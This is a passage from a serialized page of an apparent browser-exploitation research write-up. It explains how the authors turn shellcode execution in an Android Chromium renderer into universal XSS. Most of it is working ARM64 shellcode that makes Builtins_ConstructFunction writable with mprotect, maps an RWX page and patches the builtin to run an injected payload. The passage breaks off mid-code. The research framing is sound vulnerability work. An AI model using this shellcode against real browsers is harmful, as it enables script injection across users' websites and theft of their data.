value":192},{"type":23,"tag":141,"props":137670,"children":137671},{"style":750},[137672],{"type":29,"value":132300},{"type":23,"tag":141,"props":137674,"children":137675},{"style":154},[137676],{"type":29,"value":480},{"type":23,"tag":141,"props":137678,"children":137679},{"style":750},[137680],{"type":29,"value":123627},{"type":23,"tag":141,"props":137682,"children":137683},{"style":154},[137684],{"type":29,"value":322},{"type":23,"tag":141,"props":137686,"children":137687},{"style":750},[137688],{"type":29,"value":123627},{"type":23,"tag":141,"props":137690,"children":137691},{"style":154},[137692],{"type":29,"value":2496},{"type":23,"tag":141,"props":137694,"children":137695},{"class":143,"line":2313},[137696,137700,137704,137708,137712,137716,137720,137724,137728,137732],{"type":23,"tag":141,"props":137697,"children":137698},{"style":750},[137699],{"type":29,"value":134467},{"type":23,"tag":141,"props":137701,"children":137702},{"style":160},[137703],{"type":29,"value":1674},{"type":23,"tag":141,"props":137705,"children":137706},{"style":154},[137707],{"type":29,"value":1220},{"type":23,"tag":141,"props":137709,"children":137710},{"style":148},[137711],{"type":29,"value":31385},{"type":23,"tag":141,"props":137713,"children":137714},{"style":750},[137715],{"type":29,"value":134422},{"type":23,"tag":141,"props":137717,"children":137718},{"style":154},[137719],{"type":29,"value":322},{"type":23,"tag":141,"props":137721,"children":137722},{"style":184},[137723],{"type":29,"value":56045},{"type":23,"tag":141,"props":137725,"children":137726},{"style":154},[137727],{"type":29,"value":134496},{"type":23,"tag":141,"props":137729,"children":137730},{"style":750},[137731],{"type":29,"value":37623},{"type":23,"tag":141,"props":137733,"children":137734},{"style":154},[137735],{"type":29,"value":1684},{"type":23,"tag":141,"props":137737,"children":137738},{"class":143,"line":2335},[137739,137743,137747,137751,137755,137760,137764,137768],{"type":23,"tag":141,"props":137740,"children":137741},{"style":750},[137742],{"type":29,"value":100429},{"type":23,"tag":141,"props":137744,"children":137745},{"style":154},[137746],{"type":29,"value":322},{"type":23,"tag":141,"props":137748,"children":137749},{"style":184},[137750],{"type":29,"value":100438},{"type":23,"tag":141,"props":137752,"children":137753},{"style":154},[137754],{"type":29,"value":192},{"type":23,"tag":141,"props":137756,"children":137757},{"style":828},[137758],{"type":29,"value":137759},"'DeserializeWasmModule result: '",{"type":23,"tag":141,"props":137761,"children":137762},{"style":160},[137763],{"type":29,"value":7581},{"type":23,"tag":141,"props":137765,"children":137766},{"style":750},[137767],{"type":29,"value":7838},{"type":23,"tag":141,"props":137769,"children":137770},{"style":154},[137771],{"type":29,"value":2496},{"type":23,"tag":141,"props":137773,"children":137774},{"class":143,"line":2343},[137775,137779,137783,137787,137791,137795,137799,137803,137807,137811],{"type":23,"tag":141,"props":137776,"children":137777},{"style":449},[137778],{"type":29,"value":34659},{"type":23,"tag":141,"props":137780,"children":137781},{"style":750},[137782],{"type":29,"value":134516},{"type":23,"tag":141,"props":137784,"children":137785},{"style":160},[137786],{"type":29,"value":1674},{"type":23,"tag":141,"props":137788,"children":137789},{"style":449},[137790],{"type":29,"value":30401},{"type":23,"tag":141,"props":137792,"children":137793},{"style":750},[137794],{"type":29,"value":132283},{"type":23,"tag":141,"props":137796,"children":137797},{"style":154},[137798],{"type":29,"value":322},{"type":23,"tag":141,"props":137800,"children":137801},{"style":184},[137802],{"type":29,"value":132337},{"type":23,"tag":141,"props":137804,"children":137805},{"style":154},[137806],{"type":29,"value":192},{"type":23,"tag":141,"props":137808,"children":137809},{"style":750},[137810],{"type":29,"value":7760},{"type":23,"tag":141,"props":137812,"children":137813},{"style":154},[137814],{"type":29,"value":2496},{"type":23,"tag":141,"props":137816,"children":137817},{"class":143,"line":2352},[137818,137822,137826,137830,137834,137838,137842,137846,137850],{"type":23,"tag":141,"props":137819,"children":137820},{"style":449},[137821],{"type":29,"value":34659},{"type":23,"tag":141,"props":137823,"children":137824},{"style":750},[137825],{"type":29,"value":31440},{"type":23,"tag":141,"props":137827,"children":137828},{"style":160},[137829],{"type":29,"value":1674},{"type":23,"tag":141,"props":137831,"children":137832},{"style":750},[137833],{"type":29,"value":134516},{"type":23,"tag":141,"props":137835,"children":137836},{"style":154},[137837],{"type":29,"value":322},{"type":23,"tag":141,"props":137839,"children":137840},{"style":750},[137841],{"type":29,"value":36357},{"type":23,"tag":141,"props":137843,"children":137844},{"style":154},[137845],{"type":29,"value":322},{"type":23,"tag":141,"props":137847,"children":137848},{"style":750},[137849],{"type":29,"value":132386},{"type":23,"tag":141,"props":137851,"children":137852},{"style":154},[137853],{"type":29,"value":1684},{"type":23,"tag":141,"props":137855,"children":137856},{"class":143,"line":2421},[137857,137861,137865,137869,137873,137877],{"type":23,"tag":141,"props":137858,"children":137859},{"style":750},[137860],{"type":29,"value":100429},{"type":23,"tag":141,"props":137862,"children":137863},{"style":154},[137864],{"type":29,"value":322},{"type":23,"tag":141,"props":137866,"children":137867},{"style":184},[137868],{"type":29,"value":100438},{"type":23,"tag":141,"props":137870,"children":137871},{"style":154},[137872],{"type":29,"value":192},{"type":23,"tag":141,"props":137874,"children":137875},{"style":750},[137876],{"type":29,"value":31554},{"type":23,"tag":141,"props":137878,"children":137879},{"style":154},[137880],{"type":29,"value":2496},{"type":23,"tag":141,"props":137882,"children":137883},{"class":143,"line":2429},[137884],{"type":23,"tag":141,"props":137885,"children":137886},{"style":154},[137887],{"type":29,"value":100470},{"type":23,"tag":32,"props":137889,"children":137890},{},[137891],{"type":29,"value":137892},"And this time, it works as expected:",{"type":23,"tag":32,"props":137894,"children":137895},{},[137896],{"type":23,"tag":2591,"props":137897,"children":137900},{"alt":137898,"src":137899},"image3","/posts/mobile-renderer-rce/image3.png",[],{"type":23,"tag":8287,"props":137902,"children":137904},{"id":137903},"achieving-universal-xss",[137905],{"type":29,"value":137906},"Achieving Universal XSS",{"type":23,"tag":32,"props":137908,"children":137909},{},[137910,137912,137918,137920,137927],{"type":29,"value":137911},"At this point, we have arbitrary shellcode execution in the renderer process. While usually the exploit stops here and further access would require a browser sandbox escape, we decided to explore an alternative route known as UXSS, inspired by this ",{"type":23,"tag":55,"props":137913,"children":137916},{"href":137914,"rel":137915},"https://i.blackhat.com/Asia-24/Presentations/Asia-24-Liu-The-Hole-in-Sandbox.pdf",[59],[137917],{"type":29,"value":68814},{"type":29,"value":137919}," from Tencent Security and ",{"type":23,"tag":55,"props":137921,"children":137924},{"href":137922,"rel":137923},"https://www.interruptlabs.co.uk/articles/one-click-memory-corruption-in-alibabas-uc-browser-exploiting-patch-gap-v8-vulnerabilities-to-steal-your-data",[59],[137925],{"type":29,"value":137926},"research article",{"type":29,"value":137928}," from InterruptLabs.",{"type":23,"tag":32,"props":137930,"children":137931},{},[137932,137934,137941],{"type":29,"value":137933},"Unlike a normal XSS, a UXSS, or universal XSS, is a client side browser exploit that enables arbitrary JavaScript injection in all pages of a website. Normally, site isolation on desktop Chromium prevents this, as each site ends up in a different renderer process, but Android specifically has a ",{"type":23,"tag":55,"props":137935,"children":137938},{"href":137936,"rel":137937},"https://www.chromium.org/Home/chromium-security/site-isolation/#android",[59],[137939],{"type":29,"value":137940},"weaker version",{"type":29,"value":137942}," of this mitigation - only sites with logins and COOP headers are per process isolated. This means that the majority of webpages are in the same renderer process, so any patches to the interpreter will affect them all and lead to UXSS. This is still quite the capability!",{"type":23,"tag":32,"props":137944,"children":137945},{},[137946,137948,137954],{"type":29,"value":137947},"To achieve UXSS, we need to patch a function that’s invoked during site loading so we can run our XSS payload. During debugging, we observed that every site we visited eventually called ",{"type":23,"tag":38,"props":137949,"children":137951},{"className":137950},[],[137952],{"type":29,"value":137953},"Builtins_ConstructFunction",{"type":29,"value":137955},", making it a natural target.",{"type":23,"tag":32,"props":137957,"children":137958},{},[137959,137961,137966],{"type":29,"value":137960},"Our goal is for ",{"type":23,"tag":38,"props":137962,"children":137964},{"className":137963},[],[137965],{"type":29,"value":137953},{"type":29,"value":137967}," to execute our XSS payload first, then continue its normal behavior. To do this, we hook it as follows:",{"type":23,"tag":15362,"props":137969,"children":137970},{},[137971,137976,137986],{"type":23,"tag":120,"props":137972,"children":137973},{},[137974],{"type":29,"value":137975},"The exploit’s shellcode patches the first few instructions to redirect execution to our mmap-ed shellcode, which runs the XSS payload",{"type":23,"tag":120,"props":137977,"children":137978},{},[137979,137981],{"type":29,"value":137980},"After finishing, the mmap-ed shellcode restores the original instructions in ",{"type":23,"tag":38,"props":137982,"children":137984},{"className":137983},[],[137985],{"type":29,"value":137953},{"type":23,"tag":120,"props":137987,"children":137988},{},[137989,137991,137996],{"type":29,"value":137990},"The mmap-ed shellcode then returns to the beginning of ",{"type":23,"tag":38,"props":137992,"children":137994},{"className":137993},[],[137995],{"type":29,"value":137953},{"type":29,"value":137997},", which now proceeds normally",{"type":23,"tag":32,"props":137999,"children":138000},{},[138001],{"type":29,"value":138002},"The ARM64 shellcode implementing this looks as follows:",{"type":23,"tag":131,"props":138004,"children":138008},{"code":138005,"language":138006,"meta":7,"className":138007,"style":7},"// get return addr to x0\nldr x0, [sp, #0x18]\n// strip pac signature from return address\n.arch armv8.3-a; xpaci x0\n\n// store x5 = Builtins_ConstructFunction\nmovz x1, #0x610c\nsub x0, x0, x1\nmov x5, x0\n\n// store x4 = page aligned ConstructFunction\nmovz x1, #0xf000\nmovk x1, #0xffff, lsl #16\nmovk x1, #0xffff, lsl #32\nand x4, x5, x1\n\n// mprotect page aligned ConstructFunction RWX\nmov x0, x4\nmov x1, #0x2000\nmov x2, #0x7\nmov x8, #226\nsvc #0\n\nmov x6, x5\n\n// mmap RWX for jump dest (uxss_sc)\nmov x0, #0\nmov x1, #0x1000\nmov x2, #0x7\nmov x3, #34\nmov x4, #-1\nmov x5, #0\nmov x8, #222\nsvc #0\n\nmov x5, x0\n\n// at this point:\n// x6 = Builtins_ConstructFunction\n// x5 = mmap page for uxss_sc\n\n// write uxss_sc to mmaped rwx page\n{write_sc(uxss_sc, \"x5\")}\n\n// wipe from cache\nmov x0, x5\n{WIPE_CACHE}\n\n// patch Builtins_ConstructFunction\n{write_sc(new_compile_instrs, \"x6\")}\n// and add a pointer to uxss_sc just above new instructions\nstr x5, [x6, #{5 * INSTR_SIZE}]\n\n// wipe from cache\nmov x0, x6\n{WIPE_CACHE}\n","asm","language-asm shiki shiki-themes slack-dark",[138009],{"type":23,"tag":38,"props":138010,"children":138011},{"__ignoreMap":7},[138012,138020,138028,138036,138044,138051,138059,138067,138075,138083,138090,138098,138106,138114,138122,138130,138137,138145,138153,138161,138169,138177,138185,138192,138200,138207,138215,138223,138231,138238,138246,138254,138262,138270,138277,138284,138291,138298,138306,138314,138322,138329,138337,138345,138352,138360,138368,138376,138383,138391,138399,138407,138415,138422,138429,138437],{"type":23,"tag":141,"props":138013,"children":138014},{"class":143,"line":144},[138015],{"type":23,"tag":141,"props":138016,"children":138017},{},[138018],{"type":29,"value":138019},"// get return addr to x0\n",{"type":23,"tag":141,"props":138021,"children":138022},{"class":143,"line":180},[138023],{"type":23,"tag":141,"props":138024,"children":138025},{},[138026],{"type":29,"value":138027},"ldr x0, [sp, #0x18]\n",{"type":23,"tag":141,"props":138029,"children":138030},{"class":143,"line":205},[138031],{"type":23,"tag":141,"props":138032,"children":138033},{},[138034],{"type":29,"value":138035},"// strip pac signature from return address\n",{"type":23,"tag":141,"props":138037,"children":138038},{"class":143,"line":218},[138039],{"type":23,"tag":141,"props":138040,"children":138041},{},[138042],{"type":29,"value":138043},".arch armv8.3-a; xpaci x0\n",{"type":23,"tag":141,"props":138045,"children":138046},{"class":143,"line":227},[138047],{"type":23,"tag":141,"props":138048,"children":138049},{"emptyLinePlaceholder":15},[138050],{"type":29,"value":719},{"type":23,"tag":141,"props":138052,"children":138053},{"class":143,"line":241},[138054],{"type":23,"tag":141,"props":138055,"children":138056},{},[138057],{"type":29,"value":138058},"// store x5 = Builtins_ConstructFunction\n",{"type":23,"tag":141,"props":138060,"children":138061},{"class":143,"line":262},[138062],{"type":23,"tag":141,"props":138063,"children":138064},{},[138065],{"type":29,"value":138066},"movz x1, #0x610c\n",{"type":23,"tag":141,"props":138068,"children":138069},{"class":143,"line":271},[138070],{"type":23,"tag":141,"props":138071,"children":138072},{},[138073],{"type":29,"value":138074},"sub x0, x0, x1\n",{"type":23,"tag":141,"props":138076,"children":138077},{"class":143,"line":293},[138078],{"type":23,"tag":141,"props":138079,"children":138080},{},[138081],{"type":29,"value":138082},"mov x5, x0\n",{"type":23,"tag":141,"props":138084,"children":138085},{"class":143,"line":801},[138086],{"type":23,"tag":141,"props":138087,"children":138088},{"emptyLinePlaceholder":15},[138089],{"type":29,"value":719},{"type":23,"tag":141,"props":138091,"children":138092},{"class":143,"line":810},[138093],{"type":23,"tag":141,"props":138094,"children":138095},{},[138096],{"type":29,"value":138097},"// store x4 = page aligned ConstructFunction\n",{"type":23,"tag":141,"props":138099,"children":138100},{"class":143,"line":824},[138101],{"type":23,"tag":141,"props":138102,"children":138103},{},[138104],{"type":29,"value":138105},"movz x1, #0xf000\n",{"type":23,"tag":141,"props":138107,"children":138108},{"class":143,"line":839},[138109],{"type":23,"tag":141,"props":138110,"children":138111},{},[138112],{"type":29,"value":138113},"movk x1, #0xffff, lsl #16\n",{"type":23,"tag":141,"props":138115,"children":138116},{"class":143,"line":848},[138117],{"type":23,"tag":141,"props":138118,"children":138119},{},[138120],{"type":29,"value":138121},"movk x1, #0xffff, lsl #32\n",{"type":23,"tag":141,"props":138123,"children":138124},{"class":143,"line":2304},[138125],{"type":23,"tag":141,"props":138126,"children":138127},{},[138128],{"type":29,"value":138129},"and x4, x5, x1\n",{"type":23,"tag":141,"props":138131,"children":138132},{"class":143,"line":2313},[138133],{"type":23,"tag":141,"props":138134,"children":138135},{"emptyLinePlaceholder":15},[138136],{"type":29,"value":719},{"type":23,"tag":141,"props":138138,"children":138139},{"class":143,"line":2335},[138140],{"type":23,"tag":141,"props":138141,"children":138142},{},[138143],{"type":29,"value":138144},"// mprotect page aligned ConstructFunction RWX\n",{"type":23,"tag":141,"props":138146,"children":138147},{"class":143,"line":2343},[138148],{"type":23,"tag":141,"props":138149,"children":138150},{},[138151],{"type":29,"value":138152},"mov x0, x4\n",{"type":23,"tag":141,"props":138154,"children":138155},{"class":143,"line":2352},[138156],{"type":23,"tag":141,"props":138157,"children":138158},{},[138159],{"type":29,"value":138160},"mov x1, #0x2000\n",{"type":23,"tag":141,"props":138162,"children":138163},{"class":143,"line":2421},[138164],{"type":23,"tag":141,"props":138165,"children":138166},{},[138167],{"type":29,"value":138168},"mov x2, #0x7\n",{"type":23,"tag":141,"props":138170,"children":138171},{"class":143,"line":2429},[138172],{"type":23,"tag":141,"props":138173,"children":138174},{},[138175],{"type":29,"value":138176},"mov x8, #226\n",{"type":23,"tag":141,"props":138178,"children":138179},{"class":143,"line":2459},[138180],{"type":23,"tag":141,"props":138181,"children":138182},{},[138183],{"type":29,"value":138184},"svc #0\n",{"type":23,"tag":141,"props":138186,"children":138187},{"class":143,"line":2467},[138188],{"type":23,"tag":141,"props":138189,"children":138190},{"emptyLinePlaceholder":15},[138191],{"type":29,"value":719},{"type":23,"tag":141,"props":138193,"children":138194},{"class":143,"line":2499},[138195],{"type":23,"tag":141,"props":138196,"children":138197},{},[138198],{"type":29,"value":138199},"mov x6, x5\n",{"type":23,"tag":141,"props":138201,"children":138202},{"class":143,"line":2507},[138203],{"type":23,"tag":141,"props":138204,"children":138205},{"emptyLinePlaceholder":15},[138206],{"type":29,"value":719},{"type":23,"tag":141,"props":138208,"children":138209},{"class":143,"line":2567},[138210],{"type":23,"tag":141,"props":138211,"children":138212},{},[138213],{"type":29,"value":138214},"// mmap RWX for jump dest (uxss_sc)\n",{"type":23,"tag":141,"props":138216,"children":138217},{"class":143,"line":7724},[138218],{"type":23,"tag":141,"props":138219,"children":138220},{},[138221],{"type":29,"value":138222},"mov x0, #0\n",{"type":23,"tag":141,"props":138224,"children":138225},{"class":143,"line":7742},[138226],{"type":23,"tag":141,"props":138227,"children":138228},{},[138229],{"type":29,"value":138230},"mov x1, #0x1000\n",{"type":23,"tag":141,"props":138232,"children":138233},{"class":143,"line":7787},[138234],{"type":23,"tag":141,"props":138235,"children":138236},{},[138237],{"type":29,"value":138168},{"type":23,"tag":141,"props":138239,"children":138240},{"class":143,"line":7893},[138241],{"type":23,"tag":141,"props":138242,"children":138243},{},[138244],{"type":29,"value":138245},"mov x3, #34\n",{"type":23,"tag":141,"props":138247,"children":138248},{"class":143,"line":22181},[138249],{"type":23,"tag":141,"props":138250,"children":138251},{},[138252],{"type":29,"value":138253},"mov x4, #-1\n",{"type":23,"tag":141,"props":138255,"children":138256},{"class":143,"line":22216},[138257],{"type":23,"tag":141,"props":138258,"children":138259},{},[138260],{"type":29,"value":138261},"mov x5, #0\n",{"type":23,"tag":141,"props":138263,"children":138264},{"class":143,"line":22224},[138265],{"type":23,"tag":141,"props":138266,"children":138267},{},[138268],{"type":29,"value":138269},"mov x8, #222\n",{"type":23,"tag":141,"props":138271,"children":138272},{"class":143,"line":22232},[138273],{"type":23,"tag":141,"props":138274,"children":138275},{},[138276],{"type":29,"value":138184},{"type":23,"tag":141,"props":138278,"children":138279},{"class":143,"line":22241},[138280],{"type":23,"tag":141,"props":138281,"children":138282},{"emptyLinePlaceholder":15},[138283],{"type":29,"value":719},{"type":23,"tag":141,"props":138285,"children":138286},{"class":143,"line":22283},[138287],{"type":23,"tag":141,"props":138288,"children":138289},{},[138290],{"type":29,"value":138082},{"type":23,"tag":141,"props":138292,"children":138293},{"class":143,"line":22316},[138294],{"type":23,"tag":141,"props":138295,"children":138296},{"emptyLinePlaceholder":15},[138297],{"type":29,"value":719},{"type":23,"tag":141,"props":138299,"children":138300},{"class":143,"line":22324},[138301],{"type":23,"tag":141,"props":138302,"children":138303},{},[138304],{"type":29,"value":138305},"// at this point:\n",{"type":23,"tag":141,"props":138307,"children":138308},{"class":143,"line":22332},[138309],{"type":23,"tag":141,"props":138310,"children":138311},{},[138312],{"type":29,"value":138313},"// x6 = Builtins_ConstructFunction\n",{"type":23,"tag":141,"props":138315,"children":138316},{"class":143,"line":22341},[138317],{"type":23,"tag":141,"props":138318,"children":138319},{},[138320],{"type":29,"value":138321},"// x5 = mmap page for uxss_sc\n",{"type":23,"tag":141,"props":138323,"children":138324},{"class":143,"line":22417},[138325],{"type":23,"tag":141,"props":138326,"children":138327},{"emptyLinePlaceholder":15},[138328],{"type":29,"value":719},{"type":23,"tag":141,"props":138330,"children":138331},{"class":143,"line":22450},[138332],{"type":23,"tag":141,"props":138333,"children":138334},{},[138335],{"type":29,"value":138336},"// write uxss_sc to mmaped rwx page\n",{"type":23,"tag":141,"props":138338,"children":138339},{"class":143,"line":22458},[138340],{"type":23,"tag":141,"props":138341,"children":138342},{},[138343],{"type":29,"value":138344},"{write_sc(uxss_sc, \"x5\")}\n",{"type":23,"tag":141,"props":138346,"children":138347},{"class":143,"line":22466},[138348],{"type":23,"tag":141,"props":138349,"children":138350},{"emptyLinePlaceholder":15},[138351],{"type":29,"value":719},{"type":23,"tag":141,"props":138353,"children":138354},{"class":143,"line":22503},[138355],{"type":23,"tag":141,"props":138356,"children":138357},{},[138358],{"type":29,"value":138359},"// wipe from cache\n",{"type":23,"tag":141,"props":138361,"children":138362},{"class":143,"line":22516},[138363],{"type":23,"tag":141,"props":138364,"children":138365},{},[138366],{"type":29,"value":138367},"mov x0, x5\n",{"type":23,"tag":141,"props":138369,"children":138370},{"class":143,"line":22529},[138371],{"type":23,"tag":141,"props":138372,"children":138373},{},[138374],{"type":29,"value":138375},"{WIPE_CACHE}\n",{"type":23,"tag":141,"props":138377,"children":138378},{"class":143,"line":22542},[138379],{"type":23,"tag":141,"props":138380,"children":138381},{"emptyLinePlaceholder":15},[138382],{"type":29,"value":719},{"type":23,"tag":141,"props":138384,"children":138385},{"class":143,"line":22596},[138386],{"type":23,"tag":141,"props":138387,"children":138388},{},[138389],{"type":29,"value":138390},"// patch Builtins_ConstructFunction\n",{"type":23,"tag":141,"props":138392,"children":138393},{"class":143,"line":22605},[138394],{"type":23,"tag":141,"props":138395,"children":138396},{},[138397],{"type":29,"value":138398},"{write_sc(new_compile_instrs, \"x6\")}\n",{"type":23,"tag":141,"props":138400,"children":138401},{"class":143,"line":30749},[138402],{"type":23,"tag":141,"props":138403,"children":138404},{},[138405],{"type":29,"value":138406},"// and add a pointer to uxss_sc just above new instructions\n",{"type":23,"tag":141,"props":138408,"children":138409},{"class":143,"line":30770},[138410],{"type":23,"tag":141,"props":138411,"children":138412},{},[138413],{"type":29,"value":138414},"str x5, [x6, #{5 * INSTR_SIZE}]\n",{"type":23,"tag":141,"props":138416,"children":138417},{"class":143,"line":79436},[138418],{"type":23,"tag":141,"props":138419,"children":138420},{"emptyLinePlaceholder":15},[138421],{"type":29,"value":719},{"type":23,"tag":141,"props":138423,"children":138424},{"class":143,"line":79449},[138425],{"type":23,"tag":141,"props":138426,"children":138427},{},[138428],{"type":29,"value":138359},{"type":23,"tag":141,"props":138430,"children":138431},{"class":143,"line":79457},[138432],{"type":23,"tag":141,"props":138433,"children":138434},{},[138435],{"type":29,"value":138436},"mov x0, x6\n",{"type":23,"tag":141,"props":138438,"children":138439},{"class":143,"line":79465},[138440],{"type":23,"tag":141,"props":138441,"children":138442},{},[138443],{"type":29,"value":138375},{"type":23,"tag":32,"props":138445,"children":138446},{},[138447,138449,138455,138457,138462,138464,138470],{"type":29,"value":138448},"In the snippet above, ",{"type":23,"tag":38,"props":138450,"children":138452},{"className":138451},[],[138453],{"type":29,"value":138454},"new_compile_instrs",{"type":29,"value":138456}," refers to the instructions written to the beginning of ",{"type":23,"tag":38,"props":138458,"children":138460},{"className":138459},[],[138461],{"type":29,"value":137953},{"type":29,"value":138463}," that invoke the ",{"type":23,"tag":38,"props":138465,"children":138467},{"className":138466},[],[138468],{"type":29,"value":138469},"uxss_sc",{"type":29,"value":138471}," mmap-ed shellcode:",{"type":23,"tag":131,"props":138473,"children":138475},{"code":138474,"language":138006,"meta":7,"className":138007,"style":7},"bti c\n\n// store registers that will be overwritten\nstp x15, lr, [sp, #-16]!\n\n// get current rip into x15\nadr x15, .\n\n// load the uxss_sc pointer saved just above new instructions\nldr x15, [x15, #{3 * INSTR_SIZE}]\n\n// jump to uxss_sc\nblr x15\n",[138476],{"type":23,"tag":38,"props":138477,"children":138478},{"__ignoreMap":7},[138479,138487,138494,138502,138510,138517,138525,138533,138540,138548,138556,138563,138571],{"type":23,"tag":141,"props":138480,"children":138481},{"class":143,"line":144},[138482],{"type":23,"tag":141,"props":138483,"children":138484},{},[138485],{"type":29,"value":138486},"bti c\n",{"type":23,"tag":141,"props":138488,"children":138489},{"class":143,"line":180},[138490],{"type":23,"tag":141,"props":138491,"children":138492},{"emptyLinePlaceholder":15},[138493],{"type":29,"value":719},{"type":23,"tag":141,"props":138495,"children":138496},{"class":143,"line":205},[138497],{"type":23,"tag":141,"props":138498,"children":138499},{},[138500],{"type":29,"value":138501},"// store registers that will be overwritten\n",{"type":23,"tag":141,"props":138503,"children":138504},{"class":143,"line":218},[138505],{"type":23,"tag":141,"props":138506,"children":138507},{},[138508],{"type":29,"value":138509},"stp x15, lr, [sp, #-16]!\n",{"type":23,"tag":141,"props":138511,"children":138512},{"class":143,"line":227},[138513],{"type":23,"tag":141,"props":138514,"children":138515},{"emptyLinePlaceholder":15},[138516],{"type":29,"value":719},{"type":23,"tag":141,"props":138518,"children":138519},{"class":143,"line":241},[138520],{"type":23,"tag":141,"props":138521,"children":138522},{},[138523],{"type":29,"value":138524},"// get current rip into x15\n",{"type":23,"tag":141,"props":138526,"children":138527},{"class":143,"line":262},[138528],{"type":23,"tag":141,"props":138529,"children":138530},{},[138531],{"type":29,"value":138532},"adr x15, .\n",{"type":23,"tag":141,"props":138534,"children":138535},{"class":143,"line":271},[138536],{"type":23,"tag":141,"props":138537,"children":138538},{"emptyLinePlaceholder":15},[138539],{"type":29,"value":719},{"type":23,"tag":141,"props":138541,"children":138542},{"class":143,"line":293},[138543],{"type":23,"tag":141,"props":138544,"children":138545},{},[138546],{"type":29,"value":138547},"// load the uxss_sc pointer saved just above new instructions\n",{"type":23,"tag":141,"props":138549,"children":138550},{"class":143,"line":801},[138551],{"type":23,"tag":141,"props":138552,"children":138553},{},[138554],{"type":29,"value":138555},"ldr x15, [x15, #{3 * INSTR_SIZE}]\n",{"type":23,"tag":141,"props":138557,"children":138558},{"class":143,"line":810},[138559],{"type":23,"tag":141,"props":138560,"children":138561},{"emptyLinePlaceholder":15},[138562],{"type":29,"value":719},{"type":23,"tag":141,"props":138564,"children":138565},{"class":143,"line":824},[138566],{"type":23,"tag":141,"props":138567,"children":138568},{},[138569],{"type":29,"value":138570},"// jump to uxss_sc\n",{"type":23,"tag":141,"props":138572,"children":138573},{"class":143,"line":839},[138574],{"type":23,"tag":141,"props":138575,"children":138576},{},[138577],{"type":29,"value":138578},"blr x15\n",{"type":23,"tag":32,"props":138580,"children":138581},{},[138582,138587,138589,138594],{"type":23,"tag":38,"props":138583,"children":138585},{"className":138584},[],[138586],{"type":29,"value":138469},{"type":29,"value":138588}," is the mmap-ed shellcode invoked by the patched ",{"type":23,"tag":38,"props":138590,"children":138592},{"className":138591},[],[138593],{"type":29,"value":137953},{"type":29,"value":138595}," to execute our XSS payload. Its prologue looks like this:",{"type":23,"tag":131,"props":138597,"children":138599},{"code":138598,"language":138006,"meta":7,"className":138007,"style":7},"bti c\n\n// Save full register context\nstp x0, x1, [sp, #-16]!\nstp x2, x3, [sp, #-16]!\nstp x4, x5, [sp, #-16]!\nstp x6, x7, [sp, #-16]!\nstp x8, x9, [sp, #-16]!\nstp x10, x11, [sp, #-16]!\nstp x12, x13, [sp, #-16]!\nstp x14, x15, [sp, #-16]!\nstp x16, x17, [sp, #-16]!\nstp x18, x19, [sp, #-16]!\nstp x20, x21, [sp, #-16]!\nstp x22, x23, [sp, #-16]!\nstp x24, x25, [sp, #-16]!\nstp x26, x27, [sp, #-16]!\nstp x28, x29, [sp, #-16]!\nstr lr, [sp, #-16]!\n",[138600],{"type":23,"tag":38,"props":138601,"children":138602},{"__ignoreMap":7},[138603,138610,138617,138625,138633,138641,138649,138657,138665,138673,138681,138689,138697,138705,138713,138721,138729,138737,138745],{"type":23,"tag":141,"props":138604,"children":138605},{"class":143,"line":144},[138606],{"type":23,"tag":141,"props":138607,"children":138608},{},[138609],{"type":29,"value":138486},{"type":23,"tag":141,"props":138611,"children":138612},{"class":143,"line":180},[138613],{"type":23,"tag":141,"props":138614,"children":138615},{"emptyLinePlaceholder":15},[138616],{"type":29,"value":719},{"type":23,"tag":141,"props":138618,"children":138619},{"class":143,"line":205},[138620],{"type":23,"tag":141,"props":138621,"children":138622},{},[138623],{"type":29,"value":138624},"// Save full register context\n",{"type":23,"tag":141,"props":138626,"children":138627},{"class":143,"line":218},[138628],{"type":23,"tag":141,"props":138629,"children":138630},{},[138631],{"type":29,"value":138632},"stp x0, x1, [sp, #-16]!\n",{"type":23,"tag":141,"props":138634,"children":138635},{"class":143,"line":227},[138636],{"type":23,"tag":141,"props":138637,"children":138638},{},[138639],{"type":29,"value":138640},"stp x2, x3, [sp, #-16]!\n",{"type":23,"tag":141,"props":138642,"children":138643},{"class":143,"line":241},[138644],{"type":23,"tag":141,"props":138645,"children":138646},{},[138647],{"type":29,"value":138648},"stp x4, x5, [sp, #-16]!\n",{"type":23,"tag":141,"props":138650,"children":138651},{"class":143,"line":262},[138652],{"type":23,"tag":141,"props":138653,"children":138654},{},[138655],{"type":29,"value":138656},"stp x6, x7, [sp, #-16]!\n",{"type":23,"tag":141,"props":138658,"children":138659},{"class":143,"line":271},[138660],{"type":23,"tag":141,"props":138661,"children":138662},{},[138663],{"type":29,"value":138664},"stp x8, x9, [sp, #-16]!\n",{"type":23,"tag":141,"props":138666,"children":138667},{"class":143,"line":293},[138668],{"type":23,"tag":141,"props":138669,"children":138670},{},[138671],{"type":29,"value":138672},"stp x10, x11, [sp, #-16]!\n",{"type":23,"tag":141,"props":138674,"children":138675},{"class":143,"line":801},[138676],{"type":23,"tag":141,"props":138677,"children":138678},{},[138679],{"type":29,"value":138680},"stp x12, x13, [sp, #-16]!\n",{"type":23,"tag":141,"props":138682,"children":138683},{"class":143,"line":810},[138684],{"type":23,"tag":141,"props":138685,"children":138686},{},[138687],{"type":29,"value":138688},"stp x14, x15, [sp, #-16]!\n",{"type":23,"tag":141,"props":138690,"children":138691},{"class":143,"line":824},[138692],{"type":23,"tag":141,"props":138693,"children":138694},{},[138695],{"type":29,"value":138696},"stp x16, x17, [sp, #-16]!\n",{"type":23,"tag":141,"props":138698,"children":138699},{"class":143,"line":839},[138700],{"type":23,"tag":141,"props":138701,"children":138702},{},[138703],{"type":29,"value":138704},"stp x18, x19, [sp, #-16]!\n",{"type":23,"tag":141,"props":138706,"children":138707},{"class":143,"line":848},[138708],{"type":23,"tag":141,"props":138709,"children":138710},{},[138711],{"type":29,"value":138712},"stp x20, x21, [sp, #-16]!\n",{"type":23,"tag":141,"props":138714,"children":138715},{"class":143,"line":2304},[138716],{"type":23,"tag":141,"props":138717,"children":138718},{},[138719],{"type":29,"value":138720},"stp x22, x23, [sp, #-16]!\n",{"type":23,"tag":141,"props":138722,"children":138723},{"class":143,"line":2313},[138724],{"type":23,"tag":141,"props":138725,"children":138726},{},[138727],{"type":29,"value":138728},"stp x24, x25, [sp, #-16]!\n",{"type":23,"tag":141,"props":138730,"children":138731},{"class":143,"line":2335},[138732],{"type":23,"tag":141,"props":138733,"children":138734},{},[138735],{"type":29,"value":138736},"stp x26, x27, [sp, #-16]!\n",{"type":23,"tag":141,"props":138738,"children":138739},{"class":143,"line":2343},[138740],{"type":23,"tag":141,"props":138741,"children":138742},{},[138743],{"type":29,"value":138744},"stp x28, 